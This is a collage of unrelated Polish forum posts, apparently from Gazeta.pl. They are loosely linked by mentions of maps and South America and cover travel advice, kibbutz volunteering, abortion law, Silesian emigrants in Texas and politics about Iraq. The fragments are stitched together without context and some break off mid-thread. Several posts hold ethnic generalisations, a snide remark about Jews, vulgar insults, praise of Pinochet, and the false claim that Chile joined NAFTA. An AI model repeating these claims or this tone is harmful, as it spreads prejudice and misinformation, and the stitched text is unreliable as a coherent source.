Tak sie sklada, ze mape poludnia Poludniowej Ameryki mam za plecami.
Lubie mapy i obwieszam nimi kazde mieszkanie w ktorym mieszkam.

Toalety w Argentynie sa ok. Lotnisko nieco mnie, jednak i tak bije
na glowe Los Angeles. Bardzo mi sie podobalo lotnisko w Santiago de
Chile.

Tierralatina, dzięki! Jako czytelniczka Twojego bloga miałam taką
malutką cichutką nadzieję, że się odezwiesz i bardzo się z tego
cieszę.
Oczywiście Ameryka Południowa :-) Zaczerwieniłam się.

Moja znajomość hiszpańskiego jest na poziomie podstawowym - zaczęłam
się uczyć dwa miesiące temu i jeszcze trochę się nauczę do września.
Podobna znajomość portugalskiego wystarczyła na swobodne poruszanie
się po Brazylii, włącznie z prostymi towarzyskimi konwersacjmi
(oczywiście ręce i uśmiechy przydały się również).
Zakładam więc, że w miastach przewodnika potrzebuję tylko tam, gdzie
biegła znajomość hiszpańskiego jest niezbędna, a angielski nie
przydaje się na nic, a takich miejsc raczej nie ma wiele (chyba?).

Zastanawiam się bardziej nad przewodnikiem w parkach narodowych, jak
Cotopaxi i Sangay - niestety ani LP ani Rough Guide nie mówią
wyraźnie, jak są oznaczone szlaki, jaka jest jakość map, które można
tam kupić/dostać, itp. Ja jestem mieszczuchem i o ile w cywilizacji
nie zginę, o tyle o samotnych wyprawach przez dżunglę amazońską,
gdzie drogę trzeba wyrąbywać sobie maczetą, wolę czytać niż sama
przeżyć. Zresztą, zwykle na stronie piątej czy piętnastej w takich
książkach okazuje się zwykle, że jakiś przewodnik indiański jednak
był :-)

Czego mogę się spodziewać w parkach narodowych w Ekwadorze,
zakładając, że do dżungli jednak nie pojadę?
Jeszcze raz serdecznie dziękuję za odpowiedź.
Ola

Hej. Dzięki za bardzo miłą odpowiedź :).

Tak, podróżowanie to moje hobby od dość dawna. Wśród miejsc zwiedzonych dominuje Europa (policzyłem teraz, że 20 państw europejskich - w miarę db zwiedzonych, a 3-4 naprawdę do bólu) i kilka dalszych (m.in. USA, Izrael w miarę). Nawet miałem plan "zaliczać" resztę Europy hurtem, kilka krai na jedną wyprawę. Ale... no właśnie to "zaliczanie" ma średni sens, bo nie mam z tego specjalnie radości, nie ma w tym żadnej świeżości, wszystko zaczyna wyglądać tak samo.

Strasznie chcę wybrać się dalej zobaczyć coś kooooompletnie innego. Budżecik już mogę mieć większy, ale na widok sum rzędu 3000-4000 PLN za sam przelot to jednak chcę to sobie dokładnie przemyśleć. Dotychczas 800 PLN to była psychologiczna górna granica ceny przelotu na pobyty czysto turystyczne :). Gdybym wyrzucił conajmniej 5000-6000 w błoto no to bym był taki mało happy. Stąd próbuję znaleźć w miarę tanią wyprawę :D :D :D na początek. Faktycznie, Iran spełnia ten warunek nieźle. Dzięki.

Mnie się marzy Ameryka Południowa (zwłaszcza Argentyna, Chile), tym bardziej że znam hiszpański. Ale ani czasu nie mam dostatecznie dużo (max. 2 tygodnie), a i Argentyna znów osiąga ceny conajmniej europejskie...

Kornel, na Twojej mapie na stronie WWW nie ma Estonii. Baaardzo polecam Tallin, kapitalne miejsce. Bardzo też polecam Słowenię.

podroznik27 napisał:
> źć w miarę tanią wyprawę :D :D :D na początek. Faktycznie, Iran
> spełnia ten warunek nieźle. Dzięki.

Dla Iranu kompromis między ceną czasem wygląda tak:
tani czarter do Stambułu + 38h autobus do Teheranu
Dwa tygodnie na miejscu kosztować cię będą 150 USD
Całkowity koszt za 20 dni = 115 USD wiza irańska i turecka + 60 USD autobus do
Teheranu + 150 USD na miejscu + xxx samolot do Stambułu.

> Mnie się marzy Ameryka Południowa (zwłaszcza Argentyna, Chile), tym bardziej
że znam hiszpański.

Mnie też się marzy. Ale na min. 5 tygodni.

> Kornel, na Twojej mapie na stronie WWW nie ma Estonii. Baaardzo polecam
Tallin, kapitalne miejsce. Bardzo też polecam Słowenię.

MOże przy jakiejś okazji.

Kornel
<a href="HTTP://www.gazeta.pl">Aktywny link do Gazeta.pl</a>

Przepraszam, ale chyba jednak nigdzie nie ma :(
Pytalem sie znajomych i nikt nie widzial. Z uwagi na gluchosc w temacie, chyba
mieli racje.

Tak przy okazji zblizajacych sie wakacji warto nadmienic, ze osoby wyjezdzajace
do Hiszpanii na Costa Brava, maja okazje zobaczyc przepiekny park rozrywki "Port
Aventura" firmowany chyba przez Universala. Jest on w Tarragonie pod Barcelona*
(podobnie jak Lodz, jakas godzina drogi - ale tam mozna szalec po tzw.
"autopiscie" (odpowiednik autostrady :)). Park jest podzielony na piec (o ile
mnie pamiec nie myli) "mini miasteczek" odpowiadajacym "klimatom"; chinskim,
mediterrana, dzikiego zachodu, Poludniowej Ameryki i jeszcze jakis. Caly dzien
szalenstwa dla dzieci i.. doroslych oczywiscie.
Park jest nieco mniej rozreklamowany niz Disneyland, czy Tivoli, ale wcale nie
ustepuje im na krok.
Gdyby taka inwestycja trafila na Zdrowie do Lodzi - nikt nie mialby watpliwosci,
gdzie sie wybrac w celu rozrywki.

* sformulowanie "pod Barcelona", moze zostac ponownie uznane za dyskretytujace
Tarragone, tym razem przez jakichs zakompleksionych Tarragonczykow. Ale ulatwia
orientacje wszystkim turystom (nawet na mapie jest "pod")

Amerykanie to Indianie
reszta to w 2/3 mieszkancy przybyli z Europy.
Ja widzialem Amerykanow
raptem kilkunastu glownie sa to wlasciciele wielkich Hoteli z Kasynami np. w
Connecticut lub pieknym miescie w srodku pustyni Vegas
Reszta obywateli Ameryki to glownie Niemcy , Anglicy , Wlosi, Grecy , POrtugale,
Polacy oststnio tez troche ruskich itd
I tych jest jakies 200 milionow , reszta to Latynosi troche Azjatow no i
przybysze przywiezieni rowniez przez Europejczykow zwani tutaj Afro-amerykanie
Jest wiele mitow na temat mieszkancow tych ziem i ich ignorancji : ale po co
niemieckiemu farmerowi z drugiego pokolenia jakas wieksza wiedza , on sieje
kukurydze na tysiacach hektarow po to zeby wyzywic potem roznych Kubanczykow,
czy innych Haitanczykow
W miastach USA mieszka jedynie 10-15 % reszta to male miasta i przedmiescia i
wielkie odleglosci i nieiwle sie tam dzieje , a i tak caly swiat nasladuje i
chce zyc po Amerykansku co widac podczas moich podrozy po Ameryce srodkowej
poludniowej tudziez Azjii
Chcialby zobaczyc jaka wiedze maja Hiszpanie , Portugale i czy framerzy na
poludniu Francji , ilu potrafi pokazac na mapie stolice Bialorusi, Litwy albo
Estonie wogole dopiero sie posmiejemy...

A więc tak ...
Niestety nazwy nie znam, ale podejrzewam, że historia "właściciela" flagi jest
następująca:
Fedynand Magellan, podczas swojej podróży dookoła świata, zadumał się nad czymś
i wtedy zrobił niechcący trzy malutkie kleksy na mapie. Gdy odkrył swój błąd,
rozkazał nawieźć w te miejsca wiele wiele ton piasku z Ameryki Południowej, i
usypać z niego wyspy.

Podaj linki, prosze, bo ja mam zupelnie inne informacje. W Anglii mozna robic
aborcje przez 24 tygodnie, tak samo w Holandii. We Francji jest aborcja
farmakologiczna, zeby pacjentka uniknela narkozy. W Niemczech aborcja tez jest
dozwolona. Prawo podobne do polskiego maja Irlandia (i stamtad kobiety masowo
wyjezdzaja do Anglii - koszt aborcji to 400-500 funtow) i Malta. Ostatnio
zliberalizowaly prawo aborcyjne Portugalia (referendum) i Hiszpania. Hiszpania
ponadto zredukowala o polowe liczbe smierci kobiet z powodu przemocy w rodzinie.
Poza Europa aborcji zakazuja kraje trzeciego swiata i katolickie kraje Ameryki
Poludniowej. spojrz na mape - w cywilizowanych krajach aborcja jest dozwolona, w
republikach bananowych - zakazana

Ja pamiętam dwie sytuacje:
1994 rok, renomowane liceum, dziewczyna w III klasie dostała pytanie
tzw. ratunkowe - czyli ostatniej szansy: "wskaż na mapie świata
Polskę". Nie potrafiła jej znaleźć, szukała jej w Australii i
Ameryce Południowej.
sytuacja nr II - egzamin na I roku studiów. Studenci
mieli "odgadnąć" tylko na podstawie przedstawionego obrysu granic,
jakie państwa mają taki kształt. Smutne to, ale 20 % osób nie
rozpoznawało Polski a najczęściej mylono ją z Francją, Niemcami i
Białorusią. A było to jeszcze w czasach kiedy nowe matury nie
obowiązywały

Nie ma sie czego bac. Wszystkie kibuce, ktore przyjmuja jeszcze chetnych na
wolontariat znajduja sie w granicach Izraela (wewnatrz Zielonej Linii). Wiele
jest w okolicy Jeziora Galilejskiego (np. kibuce: Kineret, Ein Gev, Ginossar), w
okolicach Doliny Jeezerel i Hajfy: Hazorea, Dalia, Ramat HaShofet, Ginegar,
Yagur, w okolicach Tel Avivu, Beer Shevy i na Negevie (np. kibuc Yotwata) -
poszukaj na mapie...

Owszem, ostatnimi czasy sporo ludzi przyjezdza z polski. Ciagle slysze, ze jacys
znajomi sa tu czy tam w kibucu. Do mojego kibucu co roku przyjezdza ktos z
Polski. Zaprazsam zatem...

Przyjezdza mlodziez z calego swiata - od Korei poludniowej, Japonii, przez USA,
Ameryke Poludniowa, po kraje Europy Zachodniej i Srodkowej. Co do Rosjan i
innych obywateli krajow rosyjsko jezycznych, oni nie przyjezdzaja na
wolontariat. Jak juz to na ulpan (szkole jezykowa), co zazwyczaj jest wynikiem
emigracji do Izraela. Tak sie sklada, ze w moim kibucu jest ulpan i
wolontariusze, wiec zawsze jest wesolo i multikulturowo...

Urzędnicy prezydenta wszystko wiedzą najlepiej
Dlatego podkreślili, o które stany chodzi, żeby Obama się nie obraził, że mogli
mieć na myśli Stany Zjednonoczone Ameryki Południowej. A może popatrzyli na mapę
wyborczą i doszli do wniosku, że tak będzie lepiej, ponieważ stany południowe
głosowały na McCaina?

Gość portalu: byłem w USA napisał(a):

> slązacy raczej nie jeżdżą do USA to nie znają tamtych polskich
spraw,

Wlasnej historii nie znacie???

Panna Maria – osada Górnoślązaków w USA, w południowej części stanu
Teksas, na południowy wschód od San Antonio. Najstarsza w Stanach
Zjednoczonych śląska osada rolnicza, założona w 1854 przez
emigrantów z Górnego Śląska kierowanych przez księdza Leopolda
Moczygembę. Niewielka grupa wyjechała do Bandery. Mieszkańcy Panny
Marii założyli w późniejszych latach pobliskie osady Cestohowa i
Pawelekville.

Ludność: 41 osób (dane z 2000). Potomkowie osadników nawiązali
kontakty z woj. opolskim w końcu XX wieku. Nazwiska osadników to
m.in. Moczygemba, Kowolik, Polok, Jainta (Yanta), Piegza, Korus,
Dziok, Jarzombek. Zachowali dialekt śląski, którym rozmawiają ze
sobą. Posiada on cechy odrębne od używanego w Polsce dialektu
śląskiego np. z Katowic przez zmniejszony wpływ języka niemieckiego.

Ciekawostki [edytuj]
XIX wieczni emigranci ze Śląska do Ameryki często rubryce "kraj
pochodzenia" podawali "Poland" mimo, że Polski nie było na mapach z
powodu rozbiorów, ich potomkowie oznajmiają ciekawskim "My dycki
byli Polokoma. My zawżdy rządzili doma po polsku[1].

pl.wikipedia.org/wiki/Panna_Maria_(Teksas)
www.zwiazekslazakow.org/

Salon/pokój dzienny
Może tu mi ktoś pomoże?
Szukam inspiracji pomocy pomysłów jak nadać salonowi a właściwie pokojowi
dziennemu dobry ciepły klimat. Ale tak żeby jednocześnie nie stał się pokojem
w stylu babci Heni.
Jakie gadżety (nie wiem glassfire lampy zegar stojący) i jak je ze sobą
połączyć? Bo ja mam zmysłu artystycznego tyle ile zgrabności słoń w składzie
porcelany.
A. To co istotne. Mam fioła na punkcie Meksyku Azteków i ogóle Ameryki
Południowej więc na ścianach mam mapy z tego rejonu.

To co? Pomoże ktoś?

pijany duraku!
Wyborcza jak zwykle kłamie. Rosyjski samolot nie mógł być przechwycony poza obszarem stanowiącym przestrzeń powietrzną Kanady.

Drugie kłamstwo to rosyjskie roszczenia względem Arktyki. Od północy Rosję oblegają płytkie morza położone na szelfie euroazjatyckim - wystarczy spojrzeć na mapę. Z tej racji, że jest to teren (jakieś 4 mln km2) będący przedłużeniem Eurazji Rosja ma do niego największe prawa. Rosja nie rości sobie pretensji do szelfu wokół Grenlandii czy Kanady. Spór dotyczy jedynie Oceanu Lodowatego, który nie jest morzem położonym na szelfie.

Warto tu przypomnieć, że UK rości sobie pretensję do szelfu położonego wokół Falklandów, które znajdują się na szelfie Ameryki Południowej. Mamy więc gotowy konflikt z Argentyną i Brazylią. Tam również jest ropa i gaz.

Malowałam cały wekend, tyle juz zrobiłam...
www.fotosik.pl/pokaz_obrazek/d1f7696310a2087a.html
www.fotosik.pl/pokaz_obrazek/8e03044885b13427.html
Uff ale padnieta jestem, 2 dni na drabinie ( w sumie 4 wekend)- na
scianie jak ja to mówie :) Ale juz widac koniec :))))
Taka klimatyczna mapa Ameryki Południowej, namalowana do nowej
szkoły jezyka hiszpanskiego moich przyjaciół/chwale sie bo obiecałam
paru forumkom ...:D

Domyślałem się Twojego starego nicku
choć nie byłem pewien.
Waju wychowywał starsze pokolenie ode mnie. Nie miałem przyjemności go poznać.
Podczas zlotu żaglowców w Szczecinie spotkałem Kpt Kwiatkowskiego, mojego st.
oficera z "Daru Pomorza". Aleśmy sobie pogadali!
Z tym człowiekiem związana jest fajna anegdota. Największą obelgą w jego ustach
było: "Ty pipo racza!". Podczas kandydatki na "Darze" uczono nas położenia
ważniejszych portów świata, na dużej mapie. Kolega narysował kwadracik w Ameryce
Południowej i napisał "Pipa Racza". Wyglądało to dokładnie jak inne porty.
Kwiatkowski wziął wskaźnik i jechał po mapie wymieniając nazwy portów. Kiedy
powiedział "Pipa Racza" wszyscy gruchnęli śmiechem. Po chwili on też zaczął się
śmiać. Przypomniałem mu to po latach.
Pozdrowienia
M.

Opozycja powinna sobie odpuścić teraz te komisje..
skoro PiS ma tyle na sumieniu, że na samo hasło "komisje" dostaje
gęsiej skórki i sraczki.

Jeżeli po wyborach PO i LiD będą w stanie utworzyć (naturalną i
nieuchronną dla nich) koalicję, to te komisje i tak powstaną a
obecnie rządzący będą studiować na mapie, które kraje Ameryki
Południowej (wzgl. czy Izrael) nie mają z nami umowy ekstradycyjnej.

Na pewno przyda im się min. Ziobro i jego pomysły oraz altruizm
Kaczyńskich i włażenie w tyłek Amerykańcom!

fantastyczny pomysł na wątek! Naprawdę z zainteresowaniem czytam wasze wpisy.
Zatem i ja podzielę sie moimi zainteresowaniami. (bielizny nie włączam do
spisu,bo to chyba oczywiste)

1. kuchnie świata - jedzenie, próbowanie nowych potraw, ciekawych połączeń
smaków itp. Ogólnie uwielbiam jeść i jem dużo, jedzenie w knajpach i domowe.
Jest tylko jeden problem nie znoszę gotować. Uwielbiam jeść gdy dostanę to już
podane na talerzu, a jeszcze lepiej gdy jedzenie jest przygotowane specjalnie
dla mnie.
2. Literatura iberoamerykańska - ogólnie uwielbiam czytać (szczególnie ksiązki z
zagadką, nie będące kryminałami) jednak najbardziej zachwyca mnie proza z
Ameryki Południowej a szczególnie Marquez i Llosa.
3. Muzyka poważna na żywo - jestem stałą bywalczynią Opery Narodowej. Relaksuje
się oglądając przedstawienie baletowe lub operowe. A brzmienie orkiestry
symfonicznej... zawsze mam ciarki. Ale w domu nie słucham muzyki poważnej
4. Feminizm okazjonalny - po koncercie w filharmonii zawsze chetnie pójdę na
Manifę :)
5. Sporty wodne - nie uprawiam ich wyczynowo, w ogóle niewiele sie ruszam, ale w
życiu oprócz tradycyjnego pływania próbowałam taż windsurfingu i nurkowania (mam
nawet OWD). Pewnie gdybym mieszkała nad morzem lub na mazurach regularnie bym
nurkowała i pływała na desce. Ze sportów to jeszcze nałogowo zimą szaleję na
nartach (ale na snowbord nie dam się namówić).
6. Podróże palcem po mapie - tak samo jak kocham kuchnię uwielbiam i podróże.
Marzę własnie o poznawaniu świata podniebieniem... na razie (jescze) mnie na to
nie stać, ale zawsze obiecuję sobie, że poznam świat.

PS. CNN nie oglądam bo to tylko sensacja
Ich dziennikarze są średnio wykształceni raczej (sporo pomyłek i brak znajomości
tematów na które się wypowiadają). Przykładem podczepienie artykułu o masakrach
w Zimbabwe (albo Zambii - nie pamiętam już) pod Amerykę Południową - z dokładnym
usytuowaniem państwa na mapie tejże!

'...będzie można oglądać od 6 do 13 października (...) Przez 15 dni...'
???!!!
Hmmm...... Wg mnie od 6tego do 13stego jest trochę mniej niż 15 dni ale może się
mylę albo nie jestem aż taki dobry z matematyki jak ta pańcia....

Ja za dziecka, kiedy rówiesnicy mieli na ścianach swoich pokoi plakaty z
idolami pop, miałem F-14, własnorecznie namalowana rybę tropikalna i właśnie
mapy. Polska - fizyczna i administracyjna, swiat, Ameryki, w tym południowa
razy trzy, Azja, i Europa. Czasmi wykorzystywalem je w dziwnych celach - np.
grając w symulatory lotnicze zaznaczalem wbijanymi szpilkami których miast juz
powinno na Bliskim Wschodzie nie być

Z kolei ja znam studentkę 4 roku Akademii Medycznej, która nie wiedziała, że krew przewozi się karetką transportową. W ogóle nie wiedziała, że krew trzeba przewozić.

Najwięcej podobnych przypadków słyszałam o studentach geografii i turystyki i rekreacji. Np. student 5 roku, piszący pracę magisterską, który był święcie przekonany, że RPA leży w Ameryce Południowej i jeszcze dyskutował o tym z wykładowcą. Znam wielu studentów tych kierunków, głównie turystyki, którzy mieli i mają problemy ze wskazaniem podstawowych rzeczy na mapie. Nie chodzi mi tu o pokazywanie jakiegoś szczytu w górach, o których nikt nie słyszał, tylko o mapę Polski.

ga_lapagos napisała:

> a tam jest caly wielki kontynet, wiesz?

Wiem też, że wszystkie kraje poza jednym mówią tym samym językiem - po
hiszpańsku, a ten jeden, Brazylia, po portugalsku, więc językiem bardzo
podobnym. Różnice są mniej więcej takie jak między poszczególnymi krajami arabskimi.
Ten wielki kontynent ma trzy razy mniej ludności niż Indie, które są też dużo
bardziej zróżnicowane językowo i wyznaniowo. To tylko z polskiej perspektywy
wydaje się, że Argentynę i Wenezuelę dzieli więcej niż Pendżab i Orissę, bo mapa
Ameryki Południowej kolorowa, a Indie całe zasmarowane tym samym kolorem.

> ze Brazylie i Wenezueli laczy tyle co Polske z Lotwa?
> Albo mniej.

Pomyślmy...
Grupa językowa: portugalski i hiszpański podobniejsze niż polski z rosyjskim,
polski i łotewski mniej podobne niż angielski z niemieckim (w najlepszym razie).
Wyznaniowo: tam oba katolickie, tu Polska katolicka, Łotwa protestancka.
Doświadczenie historyczne: tam bliźniaczo podobne, tu zupełnie różne.

ten filmik byl swietny, zwlaszcza wiarygodna jest nieznajomosc mapy swiata
(australia podpisana jako korea polnocna wzbudzila uznanie, ze taka ta korea
duza, nawet jak stawala sie francja nie wzbudzalo to specjalnie podejrzen)

dla rownowagi, trzeba powiedziec ze sa tam bardzo inteligentni ludzie.
(i niektorzy z nich nie sa zydami.), tylko zaden inteligentny czlowiek nie
chodzi tam po ulicy.

ale chcialbym wiedziec, ile wywiadow trzeba bylo odrzucic zeby te najlepsze wylowic.
chcialbym tez zobaczyc w takim wywiadzie odpowiedzi
"an idiot leader of an idiot nation" (to cytat z ksiazki m. moora), czyli
naczelnego. czy dowiedzial sie juz ze meksyk nie lezy w ameryce poludniowej?

"Antarktyka"
kociak40 napisał:

> Admirał, żył 200 lat przed odkryciem Antarktydy, nikt na całym świecie nie
> wiedział, że coś takiego istnieje, nie jest ważne czy więcej się zgadza linia
> brzegowa czy nie, na mapie, pochodzącej jako kopia z starożytnej Aleksandrii,
> jest ten zaznaczony kontynent i to bez powłoki lodowej

Gdybys zadal sobie trud zajrzenia do linku to odkrylbys iz 'Antarktda' to zle
narysowana czesc Ameryki Poludniowej + fantazja.

Jak pobawisz sie w podawanie faktow a nie obalonych fantazji to pogadamy.

BTW, czy nie bylbys uprzejmy zamiast demagogicznych, rozmemlanych stwierdzen w
rodzaju 'odlewy z platyny' podawac linki do tychrze? Dzieki.

Ja kiedyś w jakims konkursie organizowanym przez Życie Warszawy wygrałąm
zegarek męski. Na damski zamienic nie chcieli, bo nie mieli :(. I kiedys w
latach szkolnych dostałam w nagrode atlas geograficzny od biblioteki za
wykonanie mapy plastycznej Ameryki Południowej (to tez był konkurs). To wszystko

To trochę jak z dyskusją, czy lepiej myć ręce, czy nogi. Oczywiście, że ludzie, którzy myślą lub potrafią
zbierać i wykorzystywać informacje, mają większe szanse niż ci, którzy zakuli na pamięć ileś tam
wiadomości. Zwłaszcza że w obecnie wiedza dosyć szybko się dezaktualizuje i duża część tego,
czego uczymy się w szkole, jest już przestarzała po skończeniu nauki (a czasem nawet przed).
Dlatego umiejętność zdobywania informacji z wszelkich możliwych źródeł, ich weryfikacji, oraz
ich wykorzystania w życiu codziennym/pracy zawodowej, jest umiejętnością podstawową i niezbędną.
Z drugiej strony zgadzam się z tymi, którzy uważają za żenujące, jeśli wykształcona Irlandka nie wie
kompletnie nic o Mongolii czy Sztokholmie. Rzeczywiście, można od ludzi z pewnym poziomem
wykształcenia wymagać, aby wykazywali się podstawową wiedzą o świecie.
Choć z drugiej strony... Kto z was jest w stanie bez spoglądania na mapę wymienić wszystkie
państwa Ameryki Południowej?

chrum-chrum

Gość portalu: michal_pilot napisał(a):

> > Jednak zdrowo myslacy czlowiek jest za pokojem.
>
> Ale odkrycie ! Pokoj tak ale nie za kazda cene. I jak pokoj to pokoj - to
> znaczy kompletny brak zagrozenia. Jak Irak gotuje sobie swoje trucizny, jak
> ukrywa musztardowe posciski i gaz nerwowy - to to nie jest POKOJ. Moze dla
> ciebie panie Zorro, ale nie dla innych.
>
> A "pokoj" z Pln. Koreii ? Jest tam "pokoj" tylko ze 200 tys ludzi zdycha w
> obozach niewolniczych a miliony innych umieraja z glodu. Wspanialy POKOJ i
> SPOKOJ !!. Komunistyczny POKOJ. Tak naprawde ten kto by dokonal ataku na Pln.
> Koree i rozwali ten rezim powinien dostac pokojowa nagrode Nobla.
==============================================================================
Michale... proponuje bys zaraz wyslal odpowiedni list do pana Busha Juniora
z propozycja by USA zaatakowalo Koree Polnocna... Moze dopiero wtedy
pan Bush Junior odkryje, iz kiedykolwiek moze otrzymac jakiegos
tam "Nobla"!

Tyle, ze amerykanscy eksperci wojskowi zdaja sobie sprawe z tego co
moze to oznaczac dla Korei Poludniowej, Japonii, moze nawet samej
Ameryki Polnocnej. Wszystko wskazuje na to, iz Korea Polnocna
(w przeciwienstwie do Saddama) faktycznie posiada i bron
masowego razenia, i odpowiednie srodki przenoszenia.

Latwiej i prosciej wiec zaatakowac slabszego, tzn. Irak.
Poza tym - od dawna domaga sie tego najwiekszy przyjaciel i sojusznik
USA, to znaczy Izrael. A przyjacielowi trzeba pomoc...

P.S. W "The Denver Post" (5 lutego) ukazal sie rysunek pana Mike'a Keefe,
ktory mozna "strescic" nastepujaco... Za prezydentem Bush'em Jr.
podaza urzednik z teczka z napisem "Department of Education"
i mowi "Sir, 87% of American students can't find Iraq on the map".
Bush z reka w kieszeni odpowiada "That's OK. in a couple of months
Iraq won't be on the map"...
Jakie to proste? Prawda?

Piss off, Peacenik
Gość portalu: mir czyli pokoj napisał(a):

> czytam czasem twoje komentarze i krew mnie zalewa
> z takimi informacjami to lec do CIA i moze jeszcze mape
> narysujesz i zdjecia satelitarne im dasz tak jak powel przed
> agresja na irak
>
> a moze jeszcze wszystkich zaskoczysz i powiesz ze korea pln ma
> bmz ????
> wydaje mi sie, ze oni ukrywaja bron saddama
> ale to jest do sprawdzenia
>
> god bless america co napierdziela biedakow i od dziesiatek lat
> przeprowadza zamachy stanu w polowie swiata : np cala ameryko
> polodniowa praktycznie
>
> czy wiesz mirkat kto dal wladze pinoczetowi ????
> a kto na poczatku lat 80 sprzedal bron saddamowi by
> napierdzielal iran ?????
> a kto szkolil ben ladena ?????
> a kto dal bron iranowi by napierdzielal saddama ????
>
> podpowiedz : to nie bylo ZSRR

Pierdolisz jak poparzony. Po pierwsze CIA mojej pomocy nie
potrzebuje, NSA czy NRO też nie-mają lepsze zabawki ode mnie.

Po drugie powinieneś wiedzieć, chyba że jesteś jeszcze w
podstawówce, ze narodu niemają przyjaciol, a tylko chwilowych
sojusznikow. Bin Ladena nb, nikt nie zbroił, Bina Laden był
szeregowym arabskim ochotnikiem od jakich roiło się w
Afganistanie podczas wali z Sowietami. NIkt wtdy o nim nawet nie
słyszał. Głównym odbiorcą naszej broni był wtedy lew z doliny
Pandższir, Mahmoud Shah Masoud, później zdradziecko zamordowany
przez islamistów. Co do Pinocheta, to przejeć ośle do Chile,
gdzie byłem i przed Pinoczetem i po nim.Dla bardzo wielu
chilijczyków jest bohaterem narodowym, bo zaprowadził porządek,
zlikiwodwał socjalistyczną gospodarkę i sprawił że kraj rozkwitł
i stał się pierwszym członkiem NAFTY z Ameryki Południowej. A po
alłlende jakoś nikt nie płacze? Czemu? :)

Wysyłam na gazetowego mapę Chin,Ameryki Południowej oraz Australii.Jeśli
dostaniesz od kogoś inne kontynenty to proszę podziel się ze mną !Chcę wyszyć
osobno wszystkie kontynenty dla syna do pokoju.Ewa

vice_versa napisał:

> 3. Podałem co najmniej 2 sytuacje w których bilet powrotny NIE JEST
> wymagany:

To nie Ty decydujesz co jest wymagane, a co nie...

>
> a) A NA PEWNO, rozumiesz, NA PEWNO ludzie którzy jadą na Antarktydę nie mają
> biletów powrotnych, POMIMO, że żadna mapa w Argentynie nie może być
wydrukowana
> bez terytorium Antarktydy i Malwinów. Niektórzy tam ZIMUJA i również mają
> jedynie pieczątki na 3 mc.

Oczywiscie, ze tak. Sam pisalem, ze czasami sie o bilet pytaja, a czasami nie.
>
> b) Można sprowadzić z Argentyny jacht nie mając biletu powrotnego i w tym
celu
> wcale nie trzeba kupować biletu powrotnego, chodzić na piechotę po Atlantyku
> ani udowadniać pogranicznikom kretynskosci przepisów.

Ale jakis papier pewnie im trzeba pokazac. Pogranicznicy na calym swiecie
bywaja upierdliwi i glusi na perswazje.

> 4. W sytuacji kolegi na pewno wystarczyło kupić bilet do Chile czy Brazylii,
a nie powrotny do Europy. Albo mieć wystarczająco ważny powód nie posiadania
> takiego biletu.

Mial powody, ale nie przekonaly one pogranicznika. Kupil do Europy, bo ani do
Chile, ani do Brazylii sie nie wybieral. Biletu nie mial, bo nie byl pewien
daty powrotu. Gdy zostal zmuszony kupil "open", dlatego taki drogi.

> 5. Poza tym sprawa jest ciekawa nie ze wzgledu na Antarktydę czy jachty tylko
> ze względu na to że podróże po Ameryce Południowej rzadko ograniczają się do
> jednego kraju i ten przepis może być dużym problemem.

Nie ja ten przepis ustalalem i tez mi sie on nie podoba. Pogranicznicy uznaja
jednak bilety wylotu z innych panstw. Mozna tez wjechac do Argentyny droga
ladowa. Wtedy pytaja sie o orientacyjna date powrotu, ale nie zadaja okazania
biletu (wiem, kolejna nielogicznosc i glupota)...

> Pogratuluj sobie złośliwości i tyle. Albo wybierz się gdzieś w świat na
> dłużej to Ci ta kąśliwość uwag przejdzie.

Hmmm... Od kilkunastu lat nic innego nie robie tylko jezdze po swiecie...

Stron zadnych nie znam niestety. My jezdzilismy jak dotad sporo po poludniowej
ameryce, glownie jej poludniowej czesci (najwiecej moge sie wypowiadac o Chile
i Argentynie).

Ponizej Puerto Montt zaczyna sie oczywiscie Camino Austral, ktora zbudowal
jeszcze dziadzia Pinochio i jest traktowana jako normalna droga panstwowa
(nr7). To nie jest "costam" jak pisal Pidzej ;) to fantastyczna droga wyrabana
przez lasy deszczowe naprawde godna uwagi mimo niewatpliwych trudow podrozy.
Gdzieniegdzie lezy na niej asfalt (np. w okolicach Coihaique - Puerto Aisen),
gdzieniegdzie pracuja zeby go polozyc, a reszta to szuter z dziurami
(najczesciej wypelnionymi woda). Oczywiscie nie dowiedzie Was bezposrednio az
do Punta Arenas, ale spory i nieziemsko piekny odcinek (ok.1000km) mozna nia
przejechac.

Skoro ciagnelibyscie te 22.000km Panamericana od polnocy (koniecznie zacznijcie
od Anchorage na Alasce) to osobiscie sugerowalabym jechac symbolicznie do jej
kranca w Quellon na Chiloe i stamtad (ew. z Castro) promem przerzucic sie
spowrotem na lad do Chaiten (duzo wczesniej trzeba dowiedziec sie jak i kiedy
plywaja promy). Od tego miejsca az do Villa O'Higgins mozecie wedrowac "suchym
kolem". Dalej zaczyna sie juz lodowiec wiec np. przez Paso Chile Chico, albo
jak sie da przez Paso Roballo trzeba odbic do Argentyny. Miedzy Cochrane, a
Villa O'Higgins tez sa jakies przejscia, ale dla koni i ludzi, autem nie da
rady. Tak czy owak wyjezdzajac z Coihaique koniecznie trzeba sie na policji
wypytac gdzie najbardziej na poludnie bedziecie mogli wjechac do Argentyny i
ew. zalatwic potrzebne papiery gdyby potrzebne bylo salvaconducto. Spowrotem do
Chile mozna wjechac przez Paso Rio Don Guillermo czyli na wysokosci Torres del
Paine. Od Puerto Natales do Punta Arenas jest juz asfalt. Oczywiscie
mozna "trzymac" sie kurczowo zachodniego wybrzeza i wybrac jeden z promow
dostajac sie nawet i z Puerto Montt do Puerto Natales.

Wazny jest tez czas w jakim bedziecie przejezdzac te okolice. Teraz w okolicach
Coihaique lezy jakies 0.5m sniegu (a dosypac metr czy dwa to chwila), chociaz
przejscia niby przejezdne.

Wazna uwaga: skrajnie nie ufac mapom i koniec jezyka za przewodnika (koniecznie
trzeba znac hiszpanski).

Swoja droga bardzo ciekawa jestem jakim autem sie wybieracie?

Powodzenia!

Zmiany klimatyczne - też (zresztą na stronkach do których podaję linki jest i o
tym) Na takie rzeczy nie można zamykać oczu. Cofanie lodowców było mi dane
obserwować w Ameryce Południowej - zasięg zupełnie nie zgadzał się z mapami z
lat 60/70- tych. Zmiany klimatyczne jak sam zwracasz uwagę - były "zawsze". .
Po przeczytaniu tych różnych stronek nadal mam wrażenie że w przypadku
pamiętnych pożarów w BC nastąpiła kumulacja niekorzystnych czynników, a
wieloletni sposób prowadzenia gospodarki leśnej (zero pożarów) też znacznie
przyczynił się do nagromadzenia paliwa.
Myślę, że jednak nie dysponujemy dostateczną ilością danych by kategorycznie
twierdzić co tak naprawdę było czynnikiem dominującym: czy zmiany klimatu czy
sposób ochrony lasu.
Masz jednak rację, że nie można podchodzić jednostronnie do problemu gospodarki
